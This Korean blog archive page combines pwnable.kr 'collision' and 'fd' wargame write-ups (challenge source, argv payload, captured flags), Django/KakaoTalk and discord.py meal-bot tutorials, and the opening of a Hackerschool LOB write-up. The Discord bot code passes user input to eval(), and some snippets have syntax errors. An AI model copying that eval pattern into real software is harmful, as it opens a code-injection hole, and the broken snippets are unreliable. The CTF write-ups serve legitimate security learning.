반응형
반응형
반응형



ssh col@pwnable.kr -p2222 (pw:guest) 으로 접속합니다.



col@ubuntu:~$ ls -l

total 16

-r-sr-x--- 1 col_pwn col     7341 Jun 11  2014 col

-rw-r--r-- 1 root    root     555 Jun 12  2014 col.c

-r--r----- 1 col_pwn col_pwn   52 Jun 11  2014 flag


col.c를 보겠습니다.



col@ubuntu:~$ cat col.c

#include <stdio.h>

#include <string.h>

unsigned long hashcode = 0x21DD09EC;

unsigned long check_password(const char* p){

int* ip = (int*)p;

int i;

int res=0;

for(i=0; i<5; i++){

res += ip[i];

}

return res;

}


int main(int argc, char* argv[]){

if(argc<2){

printf("usage : %s [passcode]\n", argv[0]);

return 0;

}

if(strlen(argv[1]) != 20){

printf("passcode length should be 20 bytes\n");

return 0;

}


if(hashcode == check_password( argv[1] )){

system("/bin/cat flag");

return 0;

}

else

printf("wrong passcode.\n");

return 0;

}



먼저 main함수를 보면, argv[1]의 길이가 20바이트이어야 함을 알 수 있습니다.


hashcode == check_password( argv[1] ) 이면 flag를 얻을 수 있네요.



check_password()가 하는 일을 봅시다.


20바이트 입력값을  4바이트씩 쪼개서 5개를 모두 더합니다.

만약 입력값이 \x11112222333344445555 이라면 \x1111+\x2222+\x3333+\x4444+\x5555 = res 가 되는겁니다.


res의 값이 0x21DD09EC 이 되어야 하므로
0x01010101 4개에 나머지 필요한값 하나 (= 0x21DD09EC - 0x01010101*4 = 1DD905E8) 로 하겠습니다.

./col `python -c 'print "\x01\x01\x01\x01"*4+"\xE8\x05\xD9\x1D"'`



col@ubuntu:~$ ./col `python -c 'print "\x01\x01\x01\x01"*4+"\xE8\x05\xD9\x1D"'`

daddy! I just managed to create a hash collision :)


반응형

'WAR GAME > Pwnable.kr' 카테고리의 다른 글

pwnable.kr [random] 풀이  (0) 2018.02.26
pwnable.kr [passcode] 풀이  (0) 2018.02.26
pwnable.kr [flag] 풀이  (0) 2018.02.26
pwnable.kr [bof] 풀이  (1) 2018.02.26
pwnable.kr [fd] 풀이  (0) 2018.02.25
반응형




ssh fd@pwnable.kr -p2222 (pw:guest) 이 곳으로 원격접속을 합니다.


어떤 파일이 있나 확인해 보겠습니다.


fd@ubuntu:~$ ls -l

total 16

-r-sr-x--- 1 fd_pwn fd   7322 Jun 11  2014 fd

-rw-r--r-- 1 root   root  418 Jun 11  2014 fd.c

-r--r----- 1 fd_pwn root   50 Jun 11  2014 flag


fd, fd.c, flag 파일이 있네요.


fd@ubuntu:~$ cat flag

cat: flag: Permission denied


flag 파일을 볼 수 있는 권한은 없습니다.


fd.c는 fd의 소스코드인것 같으니 확인해보겠습니다.



fd@ubuntu:~$ cat fd.c

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

char buf[32];

int main(int argc, char* argv[], char* envp[]){

if(argc<2){

printf("pass argv[1] a number\n");

return 0;

}

int fd = atoi( argv[1] ) - 0x1234;

int len = 0;

len = read(fd, buf, 32);

if(!strcmp("LETMEWIN\n", buf)){

printf("good job :)\n");

system("/bin/cat flag");

exit(0);

}

printf("learn about Linux file IO\n");

return 0;


}


buf의 값이 "LETMEWIN" 이면 flag파일을 읽어와주네요.

버퍼오버플로우 문제는 아니고, fd를 이용해 푸는 것 같습니다.

read 함수에서 첫번째 인자로 fd값을 받는데 이때 fd 값은 아래와 같습니다:

0 | stdin | 표준 입력
1 | stdout | 표준 출력
2 | stderr | 표준 에러


fd의 값은 argv[1] - 0x1234가 들어가게 되고, argv[1]은 우리가 입력한 값이니 조작이 가능합니다.

buf에 "LETMEWIN"를 넣어 주어야 하므로 fd의 값을 0으로 하게 해서 입력을 받도록 하고, LETMEWIN을 넣어주면 될 것 같습니다.


자, argv[1]값으로 0x1234를 넣어 fd값을 0으로 만들어 줍시다.


atoi함수는 문자열을 정수로 바꿔주는 역할을 하기 때문에 0x1234를 10진수로 나타낸 4660을 입력하겠습니다.



fd@ubuntu:~$ ./fd 4660

LETMEWIN

good job :)

mommy! I think I know what a file descriptor is!!



FLAG : mommy! I think I know what a file descriptor is!!


반응형

'WAR GAME > Pwnable.kr' 카테고리의 다른 글

pwnable.kr [random] 풀이  (0) 2018.02.26
pwnable.kr [passcode] 풀이  (0) 2018.02.26
pwnable.kr [flag] 풀이  (0) 2018.02.26
pwnable.kr [bof] 풀이  (1) 2018.02.26
pwnable.kr [collision] 풀이  (0) 2018.02.25
반응형

이번에는 저번에 만들었던 카카오톡 챗봇에 급식 파서를 활용하여

급식을 알려주는 챗봇을 만들도록 하겠습니다.



이전과정

[

카카오톡 챗봇 만들기 --> http://mandu-mandu.tistory.com/67

급식 파서 만들기 --> http://mandu-mandu.tistory.com/21

]





코드 작성하기


급식을 파싱해서 식단을 출력하는 부분을 구현할 것인데요.

두개의 코드상 차이는 날짜값과 요일값을 가져오는 부분밖에 차이가 없기 때문에
"오늘 급식"에 대한 코드를 작성하겠습니다.

그전에 parser.py를 view.py가 있는 디렉토리로 복사해줍니다.


코드는 그냥 한번에 다 작성했습니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
from django.shortcuts import render
from django.views.decorators.csrf import csrf_exempt
from django.http import JsonResponse
from pytz import timezone
import datetime , json #datetime 모듈 import
from parser import * #parser.py import
 
 
def keyboard(request):
 
    return JsonResponse({
        'type':'buttons',
        'buttons':['오늘','내일']
    })
 
@csrf_exempt
def answer(request):
 
    json_str = ((request.body).decode('utf-8'))
    received_json_data = json.loads(json_str)
    datacontent = received_json_data['content']
 
    #date
    #오늘
    dt1 = datetime.datetime.today()
 
    local_date1 = dt1.strftime("%Y.%m.%d")
    local_weekday1 = dt1.weekday()
    #오늘
 
    #내일
    dt2 = datetime.datetime.today() + datetime.timedelta(days=1)
 
    local_date2 = dt2.strftime("%Y.%m.%d")
    local_weekday2 = dt2.weekday()
    #내일
    #date
 
    if datacontent == '오늘':
 
        #시간 관련
        meal_date = str(local_date1)
        l_wkday = int(local_weekday1)
        #시간 관련
 
        #파싱
        l_l = get_diet(2, meal_date, l_wkday)
        d_d = get_diet(3, meal_date, l_wkday)
        #파싱
 
        #디스코드 챗봇 만들기(2) 참고바람.
        if len(l_l) == 1:
            lunch = "급식이 없습니다."
            dinner = ""
        elif len(d_d) == 1:
            lunch = meal_date + " 중식\n" + l_l
            dinner = ""
        else:
            lunch = meal_date + " 중식\n" + l_l
            dinner = meal_date + " 석식\n" + d_d
        #디스코드 챗봇 만들기(2) 참고바람.
        
        return JsonResponse({
                'message': {
                    'text': lunch + dinner
                },
                'keyboard': {
                    'type':'buttons',
                    'buttons':['오늘','내일']
                }
 
            })
 
    elif datacontent == '내일':
...
cs


*'내일'에 대한 부분은 '오늘'의 코드와 동일합니다. '#시간관련' 부분의 변수명만 바꾸어서 사용하시면 됩니다.

*#파싱 부분은 중식과 석식만 파싱해옵니다. 조식을 파싱할땐 함수의 첫번째 인자로 1을 주시면 됩니다.

*#디스코드 챗봇 만들기(2) 참고바람. 부분은 http://mandu-mandu.tistory.com/65 여기에 설명이 나와 있습니다.

*자신의 상황에 맞게 수정 또는 삭제 하시면 됩니다.


*'오늘'과 '내일'의 코드는 거의 차이가 없기 때문에 함수 하나로 잘 만들어서 사용하시는게 더 좋을 것 같습니다.

--18.03.03 추가

그래서 함수 하나로 만들어서 최적화를 진행하였습니다.

수정된 코드는 제 깃허브에 있습니다.

https://github.com/M4ndU/inhun_kakao_chat_bot_2

----------


저장하시면 만약 django가 돌아가는 중이었다면 자동으로 서버를 재시작해서 바로 수정된 것을 적용합니다.

모바일 카카오톡으로 접속해서 봇에서 '오늘' 또는 '내일' 버튼을 누르면 해당 버튼에 대한 식단이 출력됩니다.





이상입니다.

반응형
반응형

이 글만을 통해서 간단한 텍스트를 출력하는 카카오톡 챗봇을 만들 수 있습니다.


카카오톡 플러스 친구를 이용합니다.




카카오톡 플러스 친구 생성하기



카카오톡 관리자 센터 페이지로 이동합니다.






플러스친구 만들기를 클릭합니다.


카카오톡 계정으로 로그인을 합니다.




모두 작성하고 확인을 클릭합니다.







Django 설치 및 설정하기


https://tutorial.djangogirls.org/ko/installation/


이곳에 설치 방법이 잘 나와있습니다.

저는 가상환경을 사용하지 않았습니다.




<linux>  django 설치하기


~$ pip3 install --upgrade pip


~$ pip3 install django






프로젝트 생성


이제 프로젝트를 생성하겠습니다.


이 내용도

https://tutorial.djangogirls.org/ko/django_start_project/

여기에 잘 나와있습니다.



생성한뒤 폴더나 파일의 이름을 바꾸어선 안됩니다.


$ django-admin startproject [프로젝트 이름] .

마침표 (.) 은 필수입니다.


$ python3 manage.py startapp [어플리케이션 이름]

어플리케이션도 같이 만들겠습니다.


example :

~/project$ mkdir tistory

~/project$ cd tistory/

~/project/tistory$ django-admin startproject mybot .

~/project/tistory$ ls

manage.py  mybot

~/project/tistory$ python3 manage.py startapp testest



$ python3 manage.py migrate

이것도 해줍니다.



설정 변경


다음과 같이 변경합니다.


mybot/settings.py

25: # SECURITY WARNING: don't run with debug turned on in production!

26: DEBUG = False

27: 

28: ALLOWED_HOSTS = ['*']


* DEBUG는 테스트를 위해선 True, 실제 사용시에는 False로 해두세요. 그냥 False로 해두시는 것을 추천

* ALLOWED_HOSTS=['*']는 모든 아이피를 허용한다는 의미입니다.


mybot/settings.py

31: # Application definition

32: 

33: INSTALLED_APPS = [

34:     'django.contrib.admin',

35:     'django.contrib.auth',

36:     'django.contrib.contenttypes',

37:     'django.contrib.sessions',

38:     'django.contrib.messages',

39:     'django.contrib.staticfiles',

40:     'testtest',

41: ]


40:  에 어플리케이션 이름을 추가합니다.



mybot/settings.py

108: TIME_ZONE = 'Asia/Seoul'



mybot/urls.py

16: from django.conf.urls import include, url

17: from django.contrib import admin

18: 

19: urlpatterns = [

20:     url(r'^testtest/', include('testtest.urls')),

21:     url(r'^admin/', admin.site.urls),

22: ]


16: include 를 추가합니다.

20: 를 추가합니다.    testtest/로 온 요청은 testtest/urls.py로 보내겠다는 의미



testtest/urls.py

1
2
3
4
5
6
7
8
9
from django.conf.urls import url
 
from . import views
 
urlpatterns = [
    url(r'^keyboard/', views.keyboard),
    url(r'^message$', views.answer),
]
 
cs


* mybot/ 경로가 아닌 testtest/ 경로입니다.

* 위 소스그대로 복사해서 파일을 만듭니다.





코드 작성하기



개발환경 : UBUNTU 16.04.3

개발언어: PYTHON 3.5.2

텍스트/코드 에디터: ATOM



testtest/views.py를 수정해주는 것입니다.



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from django.shortcuts import render
from django.views.decorators.csrf import csrf_exempt
from django.http import JsonResponse
import json
 
 
 
def keyboard(request):
 
    return JsonResponse({
        'type':'buttons',
        'buttons':['오늘','내일']
    })
 
@csrf_exempt
def answer(request):
 
    json_str = ((request.body).decode('utf-8'))
    received_json_data = json.loads(json_str)
    datacontent = received_json_data['content']
 
    if datacontent == '오늘':
        today = "오늘 급식"
 
        return JsonResponse({
                'message': {
                    'text': today
                },
                'keyboard': {
                    'type':'buttons',
                    'buttons':['오늘','내일']
                }
 
            })
 
    elif datacontent == '내일':
        tomorrow = "내일 급식"
 
        return JsonResponse({
                'message': {
                    'text': tomorrow
                },
                'keyboard': {
                    'type':'buttons',
                    'buttons':['오늘','내일']
                }
 
            })
 
cs


8에서 13라인은 카카오톡에 버튼 정보를 보내는 부분.

15부터 48라인은 각 버튼에 대한 응답 내용.





카카오톡 플러스 친구 설정 및 실행, 테스트하기





관리자 센터에서 스마트채팅으로 들어갑니다.




api형 설정하기를 클릭합니다.





앱 이름, 앱 URL, 앱 설명을 작성합니다.


알림받을 전화번호는 카카오톡 가입에 사용한 전화번호를 사용하세요.



앱 URL은 자신의 서버URL을 사용합니다.


$ python3 manage.py runserver port


여기에 사용한 포트 그대로 사용


http://자신의아이피:포트/디렉토리


그리고 api테스트를 클릭하여 정상적으로 작동하는지 확인합니다.



그리고 API형 저정하기를 누릅니다.


시작하기를 눌러서 서비스를 시작합니다.




이제 모바일 카카오톡에 들어갑니다. (모바일 기기에서 진행하세요.)


플러스친구 채팅으로 이동해서


버튼이 잘 뜨는지 확인하고 버튼을 눌렀을때 정상적인 응답이 오는지 확인합니다.




다음은 급식 파서를 활용한 카카오톡 챗봇을 만들겠습니다.

반응형
반응형

이제 디스코드 봇에 부가적인 요소들을 추가해 보겠습니다.




예제 코드 참고하기



discord.py를 설치할때 들어갔던 링크로 들어가보시면,




examples 폴더에 여러 예제들이 있습니다.

거기에 있는 소스들을 가져다가 상황에 맞게 수정하셔서 사용하시면 됩니다.




~~~플레이 중 추가하기



타 봇들을 보면 프로필에 ~~~플레이 중 을 띄워서 도움말을 보는 명령어등을 알려주는 역할을 하죠.



이 것도 코드를 추가해서 할 수 있습니다.


@client.event

async def on_ready():

    print('Logged in as')

    print(client.user.name)

    print(client.user.id)

    print('---------')

    await client.change_presence(game=discord.Game(name="!a for help"))


이렇게요. (기존 코드에 진한 부분만 추가해 주면 됩니다.)








봇 꾸미기 - 메세지 예쁘게 꾸미기 (embeds)


http://discordpy.readthedocs.io/en/latest/api.html 이 문서에 자세히 기술되어 있습니다.



봇이 메세지를 보낼 때

사용자가 보낼 때 처럼 단순한 텍스트형식이 아닌

예쁜 텍스트 상자속에 텍스트가 담겨서 오는 경우가 있는데요.


예시로 ayana의 채팅스샷




이 것을 추가해 보죠.


한 가지만 해볼건데요.

필요한 것은 제목, 내용, 색상이 되겠습니다.


아래 코드처럼 기존 코드를 수정해주시면 되겠습니다.


            embed = discord.Embed(title="No Meal", description="급식이 없습니다.", color=0x00ff00)

            await client.send_message(message.channel, embed=embed)


결과 :



반응형
반응형

이번에는 저번에 만들었던 디스코드 챗봇에 급식 파서를 활용하여

급식을 알려주는 챗봇을 만들도록 하겠습니다.



이전과정

[

디스코드 챗봇 만들기 --> http://mandu-mandu.tistory.com/64

급식 파서 만들기 --> http://mandu-mandu.tistory.com/21

]






코드 작성하기


필요한 모듈로는, datetime 모듈과 만들어둔 parser.py가 필요합니다.


parser.py를 디스코드 봇 소스가 있는 디렉토리로 옮겨두고


아래 코드를, 디스코드 봇 소스 상단에 추가해줍시다.



import datetime

from parser import *





내일의 식단을 출력하기



먼저, 내일의 식단을 출력하는 코드를 작성하겠습니다.


코드를 작성하기 위해 내일의 식단을 출력하는 그 과정을 구상해 봅시다.


1. 디스코드에서 사용자로부터 명령어를 인식합니다.

저는 '!t' 로 설정하겠습니다.


2. 명령어를 인식한 시점으로부터 다음날의 날짜값과 그 날짜의 요일값을 가져옵니다.

파서의 함수가 필요로 하는 인자가 조식.중식.석식 여부 / 날짜 / 요일이기 때문입니다.

모두 datetime 함수를 사용합니다.


3. 급식을 파싱하는 함수를 호출합니다. 그리고 그 값을 저장합니다.


4. 그 값을 출력합니다.

제가 다니는 학교의 급식 상황을 보면, 조식이 전혀 없고 중식이 없을 경우 100% 석식이 없습니다.

이에 따라 조건절을 추가하여 출력되는 메세지를 '최적화'하였습니다.

(식단 내용 외 날짜등의 정보도 같이 출력해주기 때문입니다.)


중식이 없을 경우 급식이 없다고 출력,

중식이 있고 석식은 없을 경우 중식만 출력,

중식 석식 모두 있을 경우 모두 출력.



이를 코드로 구현하면 아래처럼 됩니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
    if message.content.startswith('!to'):    #메세지의 내용의 시작이 !to로 시작할 경우
        to_tomorrow = datetime.datetime.today() + datetime.timedelta(days=1)    #오늘 날짜에 하루를 더함
        local_date2 = to_tomorrow.strftime("%Y.%m.%d")    #위에서 구한 날짜를 년.월.일 형식으로 저장
        local_weekday2 = to_tomorrow.weekday()    #위에서  구한 날짜의 요일값을 저장
 
        l_diet = get_diet(2, local_date2, local_weekday2)    #점심식단을 파싱해옴
        d_diet = get_diet(3, local_date2, local_weekday2)    #석식식단을 파싱해옴
 
        if len(l_diet) == 1:    #점심식단의 길이가 1일경우 = parser.py에서 식단이 없을경우 공백한자리를 반환함.
            await client.send_message(message.channel, "급식이 없습니다.")    #급식이 없다고 메세지 보냄
        elif len(d_diet) == 1:    #점심식단의 길이가 1이 아니고 석식식단의 길이가 1일경우 = 점심식단만 있을경우
            lunch = local_date2 + " 중식\n" + l_diet    #날짜와 "중식"을 앞에 붙여서
            await client.send_message(message.channel, lunch)    #메세지 보냄
        else:    #둘다 길이가 1이 아닐경우 = 점심, 석식 식단 모두 있을 경우
            lunch = local_date2 + " 중식\n" + l_diet    #앞에 부가적인 내용을 붙여서
            dinner = local_date2 + " 석식\n" + d_diet
            await client.send_message(message.channel, lunch)    #메세지를 보냄
            await client.send_message(message.channel, dinner)
cs



코드상 

@client.event

async def on_message(message):

아래에 위치하게 됩니다.



상황에 따라 if가 이미 있을 경우

if message.content.startswith('!to'):

if를 elif로 바꿔서 사용해야 합니다. (파이썬의 기본...)





특정 날짜의 식단을 출력하기



이제 날짜값을 주면 그 날짜의 급식을 출력하는 코드를 작성하겠습니다.


코드의 구성은 위 '내일의 식단을 출력하기'의 코드에서 2번의 내용만 수정해 주면 됩니다.


1. 디스코드에서 사용자로부터 명령어를 인식합니다.

저는 '!t' 로 설정하겠습니다.


2. 날짜를 입력하라는 메세지를 보냅니다. 그리고 받은 날짜의 요일값을 구합니다. (코드로 구현하면 길어집니다.)

datetime 모듈을 이용합니다.


3. 급식을 파싱하는 함수를 호출합니다. 그리고 그 값을 저장합니다.


4. 그 값을 출력합니다.

제가 다니는 학교의 급식 상황을 보면, 조식이 전혀 없고 중식이 없을 경우 100% 석식이 없습니다.

이에 따라 조건절을 추가하여 출력되는 메세지를 '최적화'하였습니다.

(식단 내용 외 날짜등의 정보도 같이 출력해주기 때문입니다.)


중식이 없을 경우 급식이 없다고 출력,

중식이 있고 석식은 없을 경우 중식만 출력,

중식 석식 모두 있을 경우 모두 출력.


이를 코드로 구현하면 아래와 같습니다.


 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
   elif message.content.startswith('!g'):
        await client.send_message(message.channel, '날짜를 보내주세요...')    #날짜를 보내달라는 메세지를 보냄
        meal_date = await client.wait_for_message(timeout=15.0, author=message.author)    #제한시간은 15초
 
        if meal_date is None:    #값이 존재하지 않거나 시간이 초과되었을 경우
            await client.send_message(message.channel, '15초내로 입력해주세요. 다시시도 : !g')    #다시 시도하라는 메세지를 보냄
            return
 
        else:    #값이 있다면
            meal_date = str(meal_date.content) # str형으로 변환, (사용자로부터 20180219와 같은 형태로 받아야 합니다.)
            meal_date = '20' + meal_date[:2+ '.' + meal_date[2:4+ '.' + meal_date[4:6]    # 2018.02.19 사이에 점을 추가함
            #(사용자로부터 점이 포함된 값으로 받을경우 위 코드를 삭제해도 됩니다.)
 
            s = meal_date.replace('.'', ')     # 2018, 02, 19 점을 반점으로 교체
            ss = "datetime.datetime(" + s + ").weekday()"    #eval함수를 통해 요일값을 구하기 위한 작업
            try:
                whatday = eval(ss)    #요일값을 구해서 whatday에 저장
            except:    #오류가 날 경우 다시 시도하라는 메세지를 보냄
                await client.send_message(message.channel, '올바른 값으로 다시 시도하세요 : !g')
                return
#이하 '내일 식단을 출력하기'와 같음
            l_diet = get_diet(2, meal_date, whatday)
            d_diet = get_diet(3, meal_date, whatday)
 
            if len(l_diet) == 1:
                l_diet = "급식이 없습니다."
                await client.send_message(message.channel, embed=l_diet)
            elif len(d_diet) == 1:
                lunch = meal_date + " 중식\n" + l_diet
                await client.send_message(message.channel, embed=lunch)
            else:
                lunch = meal_date + " 중식\n" + l_diet
                dinner = meal_date + " 석식\n" + d_diet
                await client.send_message(message.channel, lunch)
                await client.send_message(message.channel, dinner)
 
cs

파서의 함수를 호출하는 부분에서 윗부분이 많이 복잡해진 것을 알 수 있습니다.

아래부분은 기존과 변화가 없기 때문에 주석을 달지 않았습니다.



위 둘을 합친 전체 코드는 아래와 같게 됩니다.



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
import discord
import asyncio
import datetime
from parser import *
 
 
client = discord.Client()
 
@client.event
async def on_ready():
    print('Logged in as')
    print(client.user.name)
    print(client.user.id)
    print('------')
 
@client.event
async def on_message(message):
    if message.content.startswith('!to'):    #메세지의 내용의 시작이 !to로 시작할 경우
        to_tomorrow = datetime.datetime.today() + datetime.timedelta(days=1)    #오늘 날짜에 하루를 더함
        local_date2 = to_tomorrow.strftime("%Y.%m.%d")    #위에서 구한 날짜를 년.월.일 형식으로 저장
        local_weekday2 = to_tomorrow.weekday()    #위에서  구한 날짜의 요일값을 저장
 
        l_diet = get_diet(2, local_date2, local_weekday2)    #점심식단을 파싱해옴
        d_diet = get_diet(3, local_date2, local_weekday2)    #석식식단을 파싱해옴
 
        if len(l_diet) == 1:    #점심식단의 길이가 1일경우 = parser.py에서 식단이 없을경우 공백한자리를 반환함.
            await client.send_message(message.channel, "급식이 없습니다.")    #급식이 없다고 메세지 보냄
        elif len(d_diet) == 1:    #점심식단의 길이가 1이 아니고 석식식단의 길이가 1일경우 = 점심식단만 있을경우
            lunch = local_date2 + " 중식\n" + l_diet    #날짜와 "중식"을 앞에 붙여서
            await client.send_message(message.channel, lunch)    #메세지 보냄
        else:    #둘다 길이가 1이 아닐경우 = 점심, 석식 식단 모두 있을 경우
            lunch = local_date2 + " 중식\n" + l_diet    #앞에 부가적인 내용을 붙여서
            dinner = local_date2 + " 석식\n" + d_diet
            await client.send_message(message.channel, lunch)    #메세지를 보냄
            await client.send_message(message.channel, dinner)
 
 
   elif message.content.startswith('!g'):
        await client.send_message(message.channel, '날짜를 보내주세요...')    #날짜를 보내달라는 메세지를 보냄
        meal_date = await client.wait_for_message(timeout=15.0, author=message.author)    #제한시간은 15초
 
        if meal_date is None:    #값이 존재하지 않거나 시간이 초과되었을 경우
            await client.send_message(message.channel, '15초내로 입력해주세요. 다시시도 : !g')    #다시 시도하라는 메세지를 보냄
            return
 
        else:    #값이 있다면
            meal_date = str(meal_date.content) # str형으로 변환, (사용자로부터 20180219와 같은 형태로 받아야 합니다.)
            meal_date = '20' + meal_date[:2+ '.' + meal_date[2:4+ '.' + meal_date[4:6]    # 2018.02.19 사이에 점을 추가함
            #(사용자로부터 점이 포함된 값으로 받을경우 위 코드를 삭제해도 됩니다.)
 
            s = meal_date.replace('.'', ')     # 2018, 02, 19 점을 반점으로 교체
            ss = "datetime.datetime(" + s + ").weekday()"    #eval함수를 통해 요일값을 구하기 위한 작업
            try:
                whatday = eval(ss)    #요일값을 구해서 whatday에 저장
            except:    #오류가 날 경우 다시 시도하라는 메세지를 보냄
                await client.send_message(message.channel, '올바른 값으로 다시 시도하세요 : !g')
                return
            #이하 '내일 식단을 출력하기'와 같음
            l_diet = get_diet(2, meal_date, whatday)
            d_diet = get_diet(3, meal_date, whatday)
 
            if len(l_diet) == 1:
                l_diet = "급식이 없습니다."
                await client.send_message(message.channel, embed=l_diet)
            elif len(d_diet) == 1:
                lunch = meal_date + " 중식\n" + l_diet
                await client.send_message(message.channel, embed=lunch)
            else:
                lunch = meal_date + " 중식\n" + l_diet
                dinner = meal_date + " 석식\n" + d_diet
                await client.send_message(message.channel, lunch)
                await client.send_message(message.channel, dinner)
 
client.run('token')
 
cs



# 글을 작성하면서 보니

#[23,35]과 [59,72]가 하는 일이 같은데

#함수로 하나 정의해서 같이 쓰는게

#효율적일 것 같다는 생각이 듭니다..


#지금은 귀찮으니 PASS


#############

18.03.03 추가

!g 를 통해 특정 날짜의 급식을 부르는 과정에서

날짜값을 받고 처리하는 과정에서 한자리 달의 경우 오류가 발생,

이 부분을 수정하여 한자리 달의 경우도 가능합니다.

수정된 코드는 깃허브를 확인.

https://github.com/M4ndU/inhun_discord_chat_bot_2

############


반응형
반응형

이 글만을 통해서 기본적으로 텍스트를 출력하는 디스코드 봇을 만들 수 있습니다.


1. 봇 생성하고 초대하기

2. 코드 작성하기

3. 테스트 하기




봇 생성하고 초대하기


먼저 봇 계정을 생성해 주어야 합니다.



디스코드 홈페이지로 이동합니다. -> https://discordapp.com/



상단에 알아보기 > 개발자





APPLICATIONS > My Apps 에서 New App을 누릅니다.





이름, 설명, 아이콘을 설정하고 Create App을 누릅니다.





내려서 Create a Bot User을 누릅니다.





Yes, do it!





Token: click to reveal 을 눌러서 토큰 값을 확인합니다. 이 값은 외부에 유출되어서는 안됩니다.


Public Bot을 체크하게 되면 누구나 봇을 서버에 추가할 수 있게 됩니다. 체크하지 않을 경우 오직 주인만이 서버에 추가할 수 있습니다.


Require OAuth2 Code Grant 는 모르겠습니다.. 아시는 분은 덧글 남겨주세요 ㅎㅎ





이번에는 봇 추가 링크를 만들겠습니다.

Generate OAuth2 URL을 클릭합니다.





CLIENT ID에 클라이언트 아이디를 입력합니다. 아마 자동으로 입력되어 있을거에요.

SCOPES에서 bot에 체크합니다.


그러면 밑에 탭이 하나 더 생깁니다.





권한 설정을 할 수 있는데요. 저는 Send Messages 와 Read Message History 이 두개만 체크해 두었습니다.


다시 위로 올라가서 생성된 URL을 복사합니다.


복사된 url로 접속하시고 자신의 서버를 선택하신뒤

승인 버튼을 누르고 리캡챠 체크 하시면 자신의 서버에 봇이 들어와 있게 됩니다.


현재 봇은 오프라인 상태가 됩니다.




코드 작성하기



개발환경 : UBUNTU 16.04.3

개발언어: PYTHON 3.5.2

텍스트 에디터: ATOM


디스코드 봇을 파이썬으로 작성하기 편하게 제작된 모듈이 있습니다.

아래 링크에 들어가서 discord.py를 설치합니다.

설치방법은 아래 링크에 모두 있습니다.


 바로가기 <-- (https://github.com/Rapptz/discord.py)




설치를 마쳤다면,

이제 텍스트 에디터로 가서 소스를 작성해 봅시다.



[2019년 공지사항]

discord.py 모듈의 업데이트로 client.send_message를 사용할 수 없습니다.

대신 message.channel.send를 이용하시면 됩니다.

아래 코드에는 수정되지 않은 상태로 올라가있으니 수정하셔서 사용하시면 됩니다.





기본적인 소스는 다음과 같습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import discord
import asyncio
 
client = discord.Client()
 
@client.event
async def on_ready():
    print('Logged in as')
    print(client.user.name)
    print(client.user.id)
    print('------')
 
@client.event
async def on_message(message):
    if message.content.startswith('!test'):
        await client.send_message(message.channel, 'test!!!!')
 
    elif message.content.startswith('!say'):
        await client.send_message(message.channel, 'leave message')
        msg = await client.wait_for_message(timeout=15.0, author=message.author)
 
        if msg is None:
            await client.send_message(message.channel, '15초내로 입력해주세요. 다시시도: !say')
            return
        else:
            await client.send_message(message.channel, msg.content)
 
client.run('token')
 
cs



위에서부터 소스를 분석해보죠.


@client.event

async def on_ready():

    print('Logged in as')

    print(client.user.name)

    print(client.user.id)

    print('------')



봇을 실행하여 로그인에 성공하면, 위에 문장을 출력하게 됩니다.

(터미널 or 콘솔창에 출력됩니다.)

디스코드 내에서는 봇이 온라인으로 표시됩니다.




@client.event

async def on_message(message):

    if message.content.startswith('!test'):

        await client.send_message(message.channel, 'test!!!!')

 


디스코드 텍스트 채널에 !test 라고 메세지를 보내면 봇이 test!!!!라고 메세지를 보냅니다.




    elif message.content.startswith('!say'):

        await client.send_message(message.channel, 'leave message')

        msg = await client.wait_for_message(timeout=15.0, author=message.author)

 


디스코드 텍스트 채널에 !say 라고 메세지를 보내면 봇이 leave message 라고 메세지를 보냅니다.

그리고 15초 동안 그 사용자의 메세지를 기다립니다. 그리고 그 사용자의 메세지를 msg에 저장합니다.


제한시간은 timout의 값을 변경하여 설정할 수 있습니다.




        if msg is None:

            await client.send_message(message.channel, '15초내로 입력해주세요. 다시시도: !say')

            return

        else:

            await client.send_message(message.channel, msg.content)

 


msg의 값이 존재하지 않을경우 (=사용자가 메세지를 보내지 않았을 경우)

문장을 하나 출력합니다.


msg의 값이 존재할 경우 (=사용자가 메세지를 보냈을 경우)

그 메세지를 그대로 보냅니다.




client.run('token')



token자리에 자신의 봇의 토큰값으로 코드를 수정해 주고 실행해야 합니다.


ex) client.run('AAAAAAA.111111111_BBBBBB')


작은따옴표 주의







테스트 하기



코드를 작성하고 저장을 했다면, 이제 실행을 해줍시다.



터미널에서 봇이 로그인이 되었는지 확인하고 디스코드로 갑니다.




로그인이 되었다면, 봇이 온라인으로 표시될 겁니다.




텍스트 채널에서 메세지를 보내서 봇이 정상적으로 동작하는지 확인합니다.




만약 디스코드내에서 봇이 응답하지 못하고, 터미널에서 위와같은 오류가 났을경우,

디스코드 텍스트 채널에서 권한이 없어서 메세지를 보내지 못하는 것이므로

봇에 권한설정을 해 주시면 해결됩니다.

반응형
반응형


해커스쿨 LOB LEVEL20 [xavius -> death_knight] 풀이


M4ndU




해커스쿨 LOB [xavius -> death_knight] 풀이입니다.


ID | xavius

PW | throw me away

으로 로그인합니다.



\xff 를 \x00으로 인식하는 오류를 피해 bash2를 사용합니다.


$ bash2


그리고


$ ls -l


를 이용해  어떤 파일과 어떤 폴더가 있는지 확인하고,


$ cat [문제이름].c


를 이용해 소스코드를 확인합시다.




login: xavius

Password:

[xavius@localhost xavius]$ bash2

[xavius@localhost xavius]$ ls -l

total 20

-rwsr-sr-x    1 death_kn death_kn    14134 Mar 30  2010 death_knight

-rw-r--r--    1 root     root         1409 Mar 30  2010 death_knight.c

